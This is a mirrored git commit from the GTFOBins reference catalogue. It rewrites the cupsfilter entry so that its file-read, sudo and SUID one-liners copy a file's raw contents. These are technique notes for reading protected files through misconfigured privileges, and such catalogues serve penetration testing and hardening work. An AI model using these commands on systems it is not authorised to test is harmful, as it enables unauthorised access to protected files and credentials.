mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Make cupsfilter more general
This commit is contained in:
parent
46bbaaf6d6
commit
47db2fa431
@ -1,21 +1,15 @@
|
|||||||
---
|
---
|
||||||
description: |
|
|
||||||
cupsfilter - convert a file to another format using cups filters (deprecated).
|
|
||||||
By default, it converts the file into a PDF ( default output mime: application/pdf ).
|
|
||||||
Available options:
|
|
||||||
-i "mime/type" # input mime/type
|
|
||||||
-m "mime/type" # output mime/type
|
|
||||||
functions:
|
functions:
|
||||||
file-read:
|
file-read:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
cupsfilter $LFILE
|
cupsfilter -i application/octet-stream -m application/octet-stream $LFILE
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
sudo cupsfilter $LFILE
|
sudo cupsfilter -i application/octet-stream -m application/octet-stream $LFILE
|
||||||
suid:
|
suid:
|
||||||
- code: |
|
- code: |
|
||||||
LFILE=file_to_read
|
LFILE=file_to_read
|
||||||
./cupsfilter $LFILE
|
./cupsfilter -i application/octet-stream -m application/octet-stream $LFILE
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user